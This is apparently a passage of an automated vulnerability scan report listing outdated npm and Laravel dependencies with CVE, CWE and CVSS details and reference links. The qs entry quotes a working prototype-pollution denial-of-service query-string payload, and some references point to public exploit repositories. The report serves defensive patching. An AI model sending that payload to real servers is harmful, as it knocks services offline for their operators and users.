**Description:** A vulnerability classified as problematic has been found in debug-js debug up to 3.0.x. This affects the function useColors of the file src/node.js. The manipulation of the argument str leads to inefficient regular expression complexity. Upgrading to version 3.1.0 is able to address this issue. The identifier of the patch is c38a0166c266a679c8de012d4eaccec3f944e685. It is recommended to upgrade the affected component. The identifier VDB-217665 was assigned to this vulnerability.
**CVSS V2:**
**CVSS V3:** CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
**CWE:** CWE-1333
**References:**

- https://github.com/debug-js/debug/pull/504
- https://vuldb.com/?ctiid.217665
- https://github.com/debug-js/debug/commit/c38a0166c266a679c8de012d4eaccec3f944e685

- https://github.com/debug-js/debug/releases/tag/3.1.0
- https://vuldb.com/?id.217665

**Package:** decode-uri-component
**Version:** 0.2.0
**CVE:** CVE-2022-38900
**Title:** Improper Input Validation
**Description:** decode-uri-component 0.2.0 is vulnerable to Improper Input Validation resulting in DoS.
**CVSS V2:**
**CVSS V3:** CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
**CWE:** CWE-20
**References:**
- https://github.com/sindresorhus/query-string/issues/345
- https://github.com/SamVerschueren/decode-uri-component/issues/5
- https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/KAC5KQ2SEWAMQ6UZAUBZ5KXKEOESH375/
- https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/ERN6YE3DS7NBW7UH44SCJBMNC2NWQ7SM/
- https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/VNV2GNZXOTEDAJRFH3ZYWRUBGIVL7BSU/
- https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/QABOUA2I542UTANVZIVFKWMRYVHLV32D/
- https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/UW4SCMT3SEUFVIL7YIADQ5K36GJEO6I5/

**Package:** engine.io
**Version:** 3.2.0
**CVE:** CVE-2020-36048
**Title:** Uncontrolled Resource Consumption
**Description:** Engine.IO before 4.0.0 allows attackers to cause a denial of service (resource consumption) via a POST request to the long polling transport.
**CVSS V2:** AV:N/AC:L/Au:N/C:N/I:N/A:P
**CVSS V3:** CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
**CWE:** CWE-400
**References:**
- https://github.com/socketio/engine.io/commit/734f9d1268840722c41219e69eb58318e0b2ac6b
- https://blog.caller.xyz/socketio-engineio-dos/
- https://github.com/bcaller/kill-engine-io

**Package:** extend
**Version:** 3.0.1
**CVE:** CVE-2018-16492
**Title:** Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
**Description:** A prototype pollution vulnerability was found in module extend <2.0.2, ~<3.0.2 that allows an attacker to inject arbitrary properties onto Object.prototype.
**CVSS V2:** AV:N/AC:L/Au:N/C:P/I:P/A:P
**CVSS V3:** CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
**CWE:** CWE-74
**References:**
- https://hackerone.com/reports/381185

**Package:** fsevents
**Version:** 1.2.4
**CVE:** CVE-2023-45311
**Title:** Improper Control of Generation of Code ('Code Injection')
**Description:** fsevents before 1.2.11 depends on the https://fsevents-binaries.s3-us-west-2.amazonaws.com URL, which might allow an adversary to execute arbitrary code if any JavaScript project (that depends on fsevents) distributes code that was obtained from that URL at a time when it was controlled by an adversary. NOTE: some sources feel that this means that no version is affected any longer, because the URL is not controlled by an adversary.
**CVSS V2:**
**CVSS V3:** CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
**CWE:** CWE-94
**References:**
- https://github.com/cloudflare/hugo-cloudflare-docs/blob/e0f7cfa195af8ef1bfa51a487be7d34ba298ed06/package-lock.json#L494
- https://github.com/fsevents/fsevents/compare/v1.2.10...v1.2.11
- https://github.com/atlassian/react-immutable-proptypes/blob/ddb9fa5194b931bf7528eb4f2c0a8c3434f70edd/package-lock.json#L153
- https://github.com/cloudflare/redux-grim/blob/b652f99f95fb16812336073951adc5c5a93e2c23/package-lock.json#L266-L267
- https://github.com/cloudflare/authr/blob/3f6129d97d06e61033a7f237d84e35e678db490f/ts/package-lock.json#L1512
- https://github.com/cloudflare/serverless-cloudflare-workers/blob/e95e1e9c9770ed9a3d9480c1fa73e64391268354/package-lock.json#L737
- https://github.com/atlassian/moo/blob/56ccbdd41b493332bc2cd7a4097a5802594cdb9c/package-lock.json#L1901-L1902
- https://security.snyk.io/vuln/SNYK-JS-FSEVENTS-5487987

**Package:** glob-parent
**Version:** 2.0.0
**CVE:** CVE-2020-28469
**Title:** Uncontrolled Resource Consumption
**Description:** This affects the package glob-parent before 5.1.2. The enclosure regex used to check for strings ending in enclosure containing path separator.
**CVSS V2:** AV:N/AC:L/Au:N/C:N/I:N/A:P
**CVSS V3:** CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
**CWE:** CWE-400
**References:**
- https://github.com/gulpjs/glob-parent/pull/36
- https://snyk.io/vuln/SNYK-JS-GLOBPARENT-1016905
- https://github.com/gulpjs/glob-parent/blob/6ce8d11f2f1ed8e80a9526b1dc8cf3aa71f43474/index.js%23L9
- https://github.com/gulpjs/glob-parent/releases/tag/v5.1.2
- https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1059092
- https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSBOWERGITHUBES128-1059093
- https://www.oracle.com/security-alerts/cpujan2022.html

**Package:** ini
**Version:** 1.3.5
**CVE:** CVE-2020-7788
**Title:** Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
**Description:** This affects the package ini before 1.3.6. If an attacker submits a malicious INI file to an application that parses it with ini.parse, they will pollute the prototype on the application. This can be exploited further depending on the context.

**CVSS V2:** AV:N/AC:L/Au:N/C:P/I:P/A:P
**CVSS V3:** CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
**CWE:** CWE-1321
**References:**
- https://snyk.io/vuln/SNYK-JS-INI-1048974
- https://github.com/npm/ini/commit/56d2805e07ccd94e2ba0984ac9240ff02d44b6f1
- https://lists.debian.org/debian-lts-announce/2020/12/msg00032.html

**Package:** lodash
**Version:** 3.10.1
**CVE:** CVE-2021-23337
**Title:** Improper Control of Generation of Code ('Code Injection')
**Description:** Lodash versions prior to 4.17.21 are vulnerable to Command Injection via the template function.
**CVSS V2:** AV:N/AC:L/Au:S/C:P/I:P/A:P
**CVSS V3:** CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
**CWE:** CWE-94
**References:**
- https://snyk.io/vuln/SNYK-JS-LODASH-1040724
- https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSBOWERGITHUBLODASH-1074931
- https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1074929
- https://snyk.io/vuln/SNYK-JAVA-ORGFUJIONWEBJARS-1074932
- https://github.com/lodash/lodash/blob/ddfd9b11a0126db2302cb70ec9973b66baec0975/lodash.js%23L14851
- https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARS-1074930
- https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSBOWER-1074928
- https://security.netapp.com/advisory/ntap-20210312-0006/
- https://www.oracle.com//security-alerts/cpujul2021.html
- https://www.oracle.com/security-alerts/cpuoct2021.html
- https://www.oracle.com/security-alerts/cpujan2022.html
- https://www.oracle.com/security-alerts/cpujul2022.html
- https://cert-portal.siemens.com/productcert/pdf/ssa-637483.pdf

**Package:** lodash
**Version:** 3.10.1
**CVE:** CVE-2019-10744
**Title:** Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
**Description:** Versions of lodash lower than 4.17.12 are vulnerable to Prototype Pollution. The function defaultsDeep could be tricked into adding or modifying properties of Object.prototype using a constructor payload.
**CVSS V2:** AV:N/AC:L/Au:N/C:N/I:P/A:P
**CVSS V3:** CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
**CWE:** CWE-1321
**References:**
- https://snyk.io/vuln/SNYK-JS-LODASH-450202
- https://security.netapp.com/advisory/ntap-20191004-0005/
- https://access.redhat.com/errata/RHSA-2019:3024
- https://www.oracle.com/security-alerts/cpuoct2020.html
- https://www.oracle.com/security-alerts/cpujan2021.html
- https://support.f5.com/csp/article/K47105354?utm_source=f5support&amp%3Butm_medium=RSS

**Package:** lodash
**Version:** 3.10.1
**CVE:** CVE-2020-8203
**Title:** Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
**Description:** Prototype pollution attack when using _.zipObjectDeep in lodash before

4.17.20.
**CVSS V2:** AV:N/AC:M/Au:N/C:N/I:P/A:P
**CVSS V3:** CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H
**CWE:** CWE-1321
**References:**
- https://hackerone.com/reports/712065
- https://security.netapp.com/advisory/ntap-20200724-0006/
- https://github.com/lodash/lodash/issues/4874
- https://www.oracle.com/security-alerts/cpuApr2021.html
- https://www.oracle.com//security-alerts/cpujul2021.html
- https://www.oracle.com/security-alerts/cpuoct2021.html
- https://www.oracle.com/security-alerts/cpujan2022.html
- https://www.oracle.com/security-alerts/cpuapr2022.html

**Package:** lodash.template
**Version:** 3.6.2
**CVE:** CVE-2021-23337
**Title:** Improper Control of Generation of Code ('Code Injection')
**Description:** Lodash versions prior to 4.17.21 are vulnerable to Command Injection via the template function.
**CVSS V2:** AV:N/AC:L/Au:S/C:P/I:P/A:P
**CVSS V3:** CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
**CWE:** CWE-94
**References:**
- https://snyk.io/vuln/SNYK-JS-LODASH-1040724
- https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSBOWERGITHUBLODASH-1074931
- https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1074929
- https://snyk.io/vuln/SNYK-JAVA-ORGFUJIONWEBJARS-1074932
- https://github.com/lodash/lodash/blob/ddfd9b11a0126db2302cb70ec9973b66baec0975/lodash.js%23L14851
- https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARS-1074930
- https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSBOWER-1074928
- https://security.netapp.com/advisory/ntap-20210312-0006/
- https://www.oracle.com//security-alerts/cpujul2021.html
- https://www.oracle.com/security-alerts/cpuoct2021.html
- https://www.oracle.com/security-alerts/cpujan2022.html
- https://www.oracle.com/security-alerts/cpujul2022.html
- https://cert-portal.siemens.com/productcert/pdf/ssa-637483.pdf

**Package:** minimist
**Version:** 1.2.0
**CVE:** CVE-2021-44906
**Title:** Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
**Description:** Minimist <=1.2.5 is vulnerable to Prototype Pollution via file index.js, function setKey() (lines 69-95).
**CVSS V2:** AV:N/AC:L/Au:N/C:P/I:P/A:P
**CVSS V3:** CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
**CWE:** CWE-1321
**References:**
- https://github.com/Marynk/JavaScript-vulnerability-detection/blob/main/minimist%20PoC.zip
- https://snyk.io/vuln/SNYK-JS-MINIMIST-559764
- https://stackoverflow.com/questions/8588563/adding-custom-properties-to-a-function/20278068#20278068
- https://github.com/substack/minimist/issues/164
- https://github.com/substack/minimist/blob/master/index.js#L69

**Package:** mixin-deep
**Version:** 1.3.1
**CVE:** CVE-2019-10746
**Title:** Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')
**Description:** mixin-deep is vulnerable to Prototype Pollution in versions before 1.3.2 and version 2.0.0. The function mixin-deep could be tricked into adding or modifying properties of Object.prototype using a constructor payload.
**CVSS V2:** AV:N/AC:L/Au:N/C:P/I:P/A:P
**CVSS V3:** CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
**CWE:** CWE-88
**References:**
- https://snyk.io/vuln/SNYK-JS-MIXINDEEP-450212
- https://www.oracle.com//security-alerts/cpujul2021.html
- https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/UXRA365KZCUNXMU3KDH5JN5BEPNIGUKC/
- https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/BFNIVG2XYFPZJY3DYYBJASZ7ZMKBMIJT/

**Package:** object-path
**Version:** 0.9.2
**CVE:** CVE-2020-15256
**Title:**
**Description:** A prototype pollution vulnerability has been found in `object-path` <= 0.11.4 affecting the `set()` method. The vulnerability is limited to the `includeInheritedProps` mode (if version >= 0.11.0 is used), which has to be explicitly enabled by creating a new instance of `object-path` and setting the option `includeInheritedProps: true`, or by using the default `withInheritedProps` instance. The default operating mode is not affected by the vulnerability if version >= 0.11.0 is used. Any usage of `set()` in versions < 0.11.0 is vulnerable. The issue is fixed in object-path version 0.11.5 As a workaround, don't use the `includeInheritedProps: true` options or the `withInheritedProps` instance if using a version >= 0.11.0.
**CVSS V2:** AV:N/AC:M/Au:N/C:P/I:P/A:P
**CVSS V3:** CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
**CWE:** NVD-CWE-Other
**References:**
- https://github.com/mariocasciaro/object-path/security/advisories/GHSA-cwx2-736x-mf6w
- https://github.com/mariocasciaro/object-path/commit/2be3354c6c46215c7635eb1b76d80f1319403c68

**Package:** object-path
**Version:** 0.9.2
**CVE:** CVE-2021-23434
**Title:** Access of Resource Using Incompatible Type ('Type Confusion')
**Description:** This affects the package object-path before 0.11.6. A type confusion vulnerability can lead to a bypass of CVE-2020-15256 when the path components used in the path parameter are arrays. In particular, the condition currentPath === '__proto__' returns false if currentPath is ['__proto__']. This is because the === operator returns always false when the type of the operands is different.
**CVSS V2:** AV:N/AC:L/Au:N/C:P/I:P/A:P
**CVSS V3:** CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H
**CWE:** CWE-843
**References:**
- https://github.com/mariocasciaro/object-path/commit/7bdf4abefd102d16c163d633e8994ef154cab9eb
- https://github.com/mariocasciaro/object-path%230116
- https://snyk.io/vuln/SNYK-JS-OBJECTPATH-1569453
- https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1570423
- https://lists.debian.org/debian-lts-announce/2023/01/msg00031.html

**Package:** object-path
**Version:** 0.9.2
**CVE:** CVE-2021-3805
**Title:** Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
**Description:** object-path is vulnerable to Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
**CVSS V2:** AV:N/AC:L/Au:N/C:N/I:N/A:P
**CVSS V3:** CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
**CWE:** CWE-1321
**References:**
- https://huntr.dev/bounties/571e3baf-7c46-46e3-9003-ba7e4e623053
- https://github.com/mariocasciaro/object-path/commit/e6bb638ffdd431176701b3e9024f80050d0ef0a6
- https://lists.debian.org/debian-lts-announce/2023/01/msg00031.html

**Package:** path-parse
**Version:** 1.0.5
**CVE:** CVE-2021-23343
**Title:**
**Description:** All versions of package path-parse are vulnerable to Regular Expression Denial of Service (ReDoS) via splitDeviceRe, splitTailRe, and splitPathRe regular expressions. ReDoS exhibits polynomial worst-case time complexity.
**CVSS V2:** AV:N/AC:L/Au:N/C:N/I:N/A:P
**CVSS V3:** CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
**CWE:** NVD-CWE-noinfo
**References:**
- https://github.com/jbgutierrez/path-parse/issues/8
- https://snyk.io/vuln/SNYK-JS-PATHPARSE-1077067
- https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1279028
- https://lists.apache.org/thread.html/r6a32cb3eda3b19096ad48ef1e7aa8f26e005f2f63765abb69ce08b85%40%3Cdev.myfaces.apache.org%3E

**Package:** qs
**Version:** 6.2.3
**CVE:** CVE-2022-24999
**Title:** Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
**Description:** qs before 6.10.3, as used in Express before 4.17.3 and other products, allows attackers to cause a Node process hang for an Express application because an __ proto__ key can be used. In many typical Express use cases, an unauthenticated remote attacker can place the attack payload in the query string of the URL that is used to visit the application, such as a[__proto__]=b&a[__proto__]&a[length]=100000000. The fix was backported to qs 6.9.7, 6.8.3, 6.7.3, 6.6.1, 6.5.3, 6.4.1, 6.3.3, and 6.2.4 (and therefore Express 4.17.3, which has "deps: qs@6.9.7" in its release description, is not vulnerable).
**CVSS V2:**
**CVSS V3:** CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
**CWE:** CWE-1321
**References:**
- https://github.com/n8tz/CVE-2022-24999
- https://github.com/expressjs/express/releases/tag/4.17.3
- https://github.com/ljharb/qs/pull/428
- https://lists.debian.org/debian-lts-announce/2023/01/msg00039.html
- https://security.netapp.com/advisory/ntap-20230908-0005/

**Package:** semver
**Version:** 5.5.0

**CVE:** CVE-2022-25883
**Title:** Inefficient Regular Expression Complexity
**Description:** Versions of the package semver before 7.5.2 are vulnerable to Regular Expression Denial of Service (ReDoS) via the function new Range, when untrusted user data is provided as a range.
**CVSS V2:**
**CVSS V3:** CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
**CWE:** CWE-1333
**References:**
- https://github.com/npm/node-semver/commit/717534ee353682f3bcf33e60a8af4292626d4441
- https://github.com/npm/node-semver/blob/main/internal/re.js%23L138
- https://security.snyk.io/vuln/SNYK-JS-SEMVER-3247795
- https://github.com/npm/node-semver/blob/main/internal/re.js%23L160
- https://github.com/npm/node-semver/blob/main/classes/range.js%23L97-L104
- https://github.com/npm/node-semver/pull/564

**Package:** set-value
**Version:** 2.0.0
**CVE:** CVE-2019-10747
**Title:** Uncontrolled Resource Consumption
**Description:** set-value is vulnerable to Prototype Pollution in versions lower than 3.0.1. The function mixin-deep could be tricked into adding or modifying properties of Object.prototype using any of the constructor, prototype and _proto_ payloads.
**CVSS V2:** AV:N/AC:L/Au:N/C:P/I:P/A:P
**CVSS V3:** CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
**CWE:** CWE-400
**References:**
- https://snyk.io/vuln/SNYK-JS-SETVALUE-450213
- https://lists.apache.org/thread.html/b46f35559c4a97cf74d2dd7fe5a48f8abf2ff37f879083920af9b292%40%3Cdev.drat.apache.org%3E
- https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/3EJ36KV6MXQPUYTFCCTDY54E5Y7QP3AV/
- https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/E3HNLQZQINMZK6GYB2UTKK4VU7WBV2OT/

**Package:** set-value
**Version:** 2.0.0
**CVE:** CVE-2021-23440
**Title:** Access of Resource Using Incompatible Type ('Type Confusion')
**Description:** This affects the package set-value before <2.0.1, >=3.0.0 <4.0.1. A type confusion vulnerability can lead to a bypass of CVE-2019-10747 when the user-provided keys used in the path parameter are arrays.
**CVSS V2:** AV:N/AC:L/Au:N/C:P/I:P/A:P
**CVSS V3:** CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
**CWE:** CWE-843
**References:**
- https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1584212
- https://github.com/jonschlinkert/set-value/commit/7cf8073bb06bf0c15e08475f9f952823b4576452
- https://www.huntr.dev/bounties/2eae1159-01de-4f82-a177-7478a408c4a2/
- https://snyk.io/vuln/SNYK-JS-SETVALUE-1540541
- https://github.com/jonschlinkert/set-value/pull/33
- https://www.oracle.com/security-alerts/cpujan2022.html

**Package:** socket.io-parser
**Version:** 3.1.3
**CVE:** CVE-2020-36049
**Title:** Allocation of Resources Without Limits or Throttling
**Description:** socket.io-parser before 3.4.1 allows attackers to cause a denial of service (memory consumption) via a large packet because a concatenation approach is used.
**CVSS V2:** AV:N/AC:L/Au:N/C:N/I:N/A:P
**CVSS V3:** CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
**CWE:** CWE-770
**References:**
- https://blog.caller.xyz/socketio-engineio-dos/
- https://github.com/bcaller/kill-engine-io
- https://github.com/socketio/socket.io-parser/commit/dcb942d24db97162ad16a67c2a0cf30875342d55

**Package:** socket.io-parser
**Version:** 3.1.3
**CVE:** CVE-2022-2421
**Title:**
**Description:** Due to improper type validation in attachment parsing the Socket.io js library, it is possible to overwrite the _placeholder object which allows an attacker to place references to functions at arbitrary places in the resulting query object.
**CVSS V2:**
**CVSS V3:** CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
**CWE:** NVD-CWE-noinfo
**References:**
- https://csirt.divd.nl/DIVD-2022-00045
- https://csirt.divd.nl/CVE-2022-2421

**Package:** ua-parser-js
**Version:** 0.7.17
**CVE:** CVE-2020-7793
**Title:**
**Description:** The package ua-parser-js before 0.7.23 are vulnerable to Regular Expression Denial of Service (ReDoS) in multiple regexes (see linked commit for more info).
**CVSS V2:** AV:N/AC:L/Au:N/C:N/I:N/A:P
**CVSS V3:** CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
**CWE:** NVD-CWE-Other
**References:**
- https://github.com/faisalman/ua-parser-js/commit/6d1f26df051ba681463ef109d36c9cf0f7e32b18
- https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSBOWERGITHUBFAISALMAN-1050388
- https://snyk.io/vuln/SNYK-JS-UAPARSERJS-1023599
- https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1050387
- https://cert-portal.siemens.com/productcert/pdf/ssa-637483.pdf

**Package:** ua-parser-js
**Version:** 0.7.17
**CVE:** CVE-2020-7733
**Title:** Uncontrolled Resource Consumption
**Description:** The package ua-parser-js before 0.7.22 are vulnerable to Regular Expression Denial of Service (ReDoS) via the regex for Redmi Phones and Mi Pad Tablets UA.
**CVSS V2:** AV:N/AC:L/Au:N/C:N/I:N/A:P
**CVSS V3:** CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
**CWE:** CWE-400
**References:**
- https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-674665
- https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSBOWERGITHUBFAISALMAN-674666

- https://snyk.io/vuln/SNYK-JS-UAPARSERJS-610226
- https://github.com/faisalman/ua-parser-js/commit/233d3bae22a795153a7e6638887ce159c63e557d
- https://www.oracle.com//security-alerts/cpujul2021.html

**Package:** ua-parser-js
**Version:** 0.7.17
**CVE:** CVE-2021-27292
**Title:**
**Description:** ua-parser-js >= 0.7.14, fixed in 0.7.24, uses a regular expression which is vulnerable to denial of service. If an attacker sends a malicious User-Agent header, ua-parser-js will get stuck processing it for an extended period of time.
**CVSS V2:** AV:N/AC:L/Au:N/C:N/I:N/A:P
**CVSS V3:** CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
**CWE:** NVD-CWE-Other
**References:**
- https://gist.github.com/b-c-ds/6941d80d6b4e694df4bc269493b7be76
- https://github.com/pygments/pygments/commit/2e7e8c4a7b318f4032493773732754e418279a14
- https://github.com/faisalman/ua-parser-js/commit/809439e20e273ce0d25c1d04e111dcf6011eb566

**Package:** ua-parser-js
**Version:** 0.7.17
**CVE:** CVE-2022-25927
**Title:** Inefficient Regular Expression Complexity
**Description:** Versions of the package ua-parser-js from 0.7.30 and before 0.7.33, from 0.8.1 and before 1.0.33 are vulnerable to Regular Expression Denial of Service (ReDoS) via the trim() function.
**CVSS V2:**
**CVSS V3:** CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
**CWE:** CWE-1333
**References:**
- https://security.snyk.io/vuln/SNYK-JS-UAPARSERJS-3244450
- https://github.com/faisalman/ua-parser-js/commit/a6140a17dd0300a35cfc9cff999545f267889411

**Package:** xmlhttprequest-ssl
**Version:** 1.5.5
**CVE:** CVE-2020-28502
**Title:** Improper Control of Generation of Code ('Code Injection')
**Description:** This affects the package xmlhttprequest before 1.7.0; all versions of package xmlhttprequest-ssl. Provided requests are sent synchronously (async=False on xhr.open), malicious user input flowing into xhr.send could result in arbitrary code being injected and run.
**CVSS V2:** AV:N/AC:M/Au:N/C:P/I:P/A:P
**CVSS V3:** CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
**CWE:** CWE-94
**References:**
- https://github.com/driverdan/node-XMLHttpRequest/blob/1.6.0/lib/XMLHttpRequest.js%23L480
- https://snyk.io/vuln/SNYK-JS-XMLHTTPREQUEST-1082935
- https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1082937
- https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1082938
- https://snyk.io/vuln/SNYK-JS-XMLHTTPREQUESTSSL-1082936

| | |
|---|---|
| | **Package:** xmlhttprequest-ssl<br>**Version:** 1.5.5<br>**CVE:** CVE-2021-31597<br>**Title:** Improper Certificate Validation<br>**Description:** The xmlhttprequest-ssl package before 1.6.1 for Node.js disables SSL certificate validation by default, because rejectUnauthorized (when the property exists but is undefined) is considered to be false within the https.request function of Node.js. In other words, no certificate is ever rejected.<br>**CVSS V2:** AV:N/AC:L/Au:N/C:P/I:P/A:P<br>**CVSS V3:** CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L<br>**CWE:** CWE-295<br>**References:**<br>• https://people.kingsds.network/wesgarland/xmlhttprequest-ssl-vuln.txt<br>• https://github.com/mjwwit/node-XMLHttpRequest/commit/bf53329b61ca6afc5d28f6b8d2dc2e3ca740a9b2<br>• https://github.com/mjwwit/node-XMLHttpRequest/compare/v1.6.0...1.6.1<br>• https://security.netapp.com/advisory/ntap-20210618-0004/<br><br>**Package:** y18n<br>**Version:** 3.2.1<br>**CVE:** CVE-2020-7774<br>**Title:** Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')<br>**Description:** The package y18n before 3.2.2, 4.0.1 and 5.0.5, is vulnerable to Prototype Pollution.<br>**CVSS V2:** AV:N/AC:L/Au:N/C:P/I:P/A:P<br>**CVSS V3:** CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H<br>**CWE:** CWE-1321<br>**References:**<br>• https://github.com/yargs/y18n/issues/96<br>• https://github.com/yargs/y18n/pull/108<br>• https://snyk.io/vuln/SNYK-JS-Y18N-1021887<br>• https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1038306<br>• https://www.oracle.com/security-alerts/cpuApr2021.html<br>• https://cert-portal.siemens.com/productcert/pdf/ssa-389290.pdf |

| **/simpeg/** | |
|---|---|
| **Alert group** | **Vulnerable package dependencies [high]** |
| Severity | High |
| Description | One or more packages that are used in your web application are affected by known vulnerabilities. Please consult the details section for more information about each affected package. |
| Recommendations | It's recommended to update the vulnerable packages to the latest version (if a fix exists). If a fix does not exist, you may want to suggest changes that address the vulnerability to the package maintainer or remove the package from your dependency tree. |
| Alert variants | |

| | |
|---|---|
| Details | List of vulnerable **composer** packages:<br><br>**Package:** laravel/framework<br>**Version:** 5.1.37<br>**CVE:** CVE-2018-6330<br>**Title:** Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')<br>**Description:** Laravel 5.4.15 is vulnerable to Error based SQL injection in save.php via dhx_user and dhx_version parameters.<br>**CVSS V2:** AV:N/AC:L/Au:S/C:P/I:P/A:P<br>**CVSS V3:** CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H<br>**CWE:** CWE-89<br>**References:**<br>• https://github.com/laravel/framework/blob/5.4/CHANGELOG-5.4.md<br>• http://www.itblog.gbonanno.de/cve-2018-6330-laravel-sql-injection/<br><br>**Package:** laravel/framework<br>**Version:** 5.1.37<br>**CVE:** CVE-2018-15133<br>**Title:** Deserialization of Untrusted Data<br>**Description:** In Laravel Framework through 5.5.40 and 5.6.x through 5.6.29, remote code execution might occur as a result of an unserialize call on a potentially untrusted X-XSRF-TOKEN value. This involves the decrypt method in Illuminate/Encryption/Encrypter.php and PendingBroadcast in gadgetchains/Laravel/RCE/3/chain.php in phpggc. The attacker must know the application key, which normally would never occur, but could happen if the attacker previously had privileged access or successfully accomplished a previous attack.<br>**CVSS V2:** AV:N/AC:M/Au:N/C:P/I:P/A:P<br>**CVSS V3:** CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H<br>**CWE:** CWE-502<br>**References:**<br>• https://laravel.com/docs/5.6/upgrade#upgrade-5.6.30<br>• http://packetstormsecurity.com/files/153641/PHP-Laravel-Framework-Token-Unserialize-Remote-Command-Execution.html<br><br>**Package:** laravel/framework<br>**Version:** 5.1.37<br>**CVE:** CVE-2017-16894<br>**Title:** Exposure of Sensitive Information to an Unauthorized Actor<br>**Description:** In Laravel framework through 5.5.21, remote attackers can obtain sensitive information (such as externally usable passwords) via a direct request for the /.env URI. NOTE: this CVE is only about Laravel framework's writeNewEnvironmentFileWith function in src/Illuminate/Foundation/Console/KeyGenerateCommand.php, which uses file_put_contents without restricting the .env permissions. The .env filename is not used exclusively by Laravel framework.<br>**CVSS V2:** AV:N/AC:L/Au:N/C:P/I:N/A:N<br>**CVSS V3:** CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N<br>**CWE:** CWE-200<br>**References:**<br>• http://whiteboyz.xyz/laravel-env-file-vuln.html<br>• https://twitter.com/finnwea/status/967709791442341888<br>• http://packetstormsecurity.com/files/153641/PHP-Laravel-Framework-Token-Unserialize-Remote-Command-Execution.html<br><br>**Package:** laravel/framework<br>**Version:** 5.1.37<br>**CVE:** CVE-2020-19316<br>**Title:** Improper Neutralization of 